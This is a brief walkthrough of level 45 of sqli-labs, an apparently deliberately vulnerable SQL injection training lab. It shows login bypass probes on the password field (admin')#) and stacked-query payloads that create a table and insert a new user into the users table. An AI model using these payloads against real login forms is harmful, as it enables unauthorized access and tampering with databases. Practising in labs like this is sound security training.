sqli-labs (less-45)

sqli-labs (less-45)

Enter level 45, still the familiar page

. Enter admin' in the place of password.

There is no error message, so I can only guess one by one.

admin# #登入失败
admin'# #登入失败
admin')# #登入成功

Judge the closing mode as')#, and inject the character type

Here we directly use stack injection attack

Create a table

a');create table test like users;#

Create a new user

a');insert into users values(18,'icepeak','icepeak');#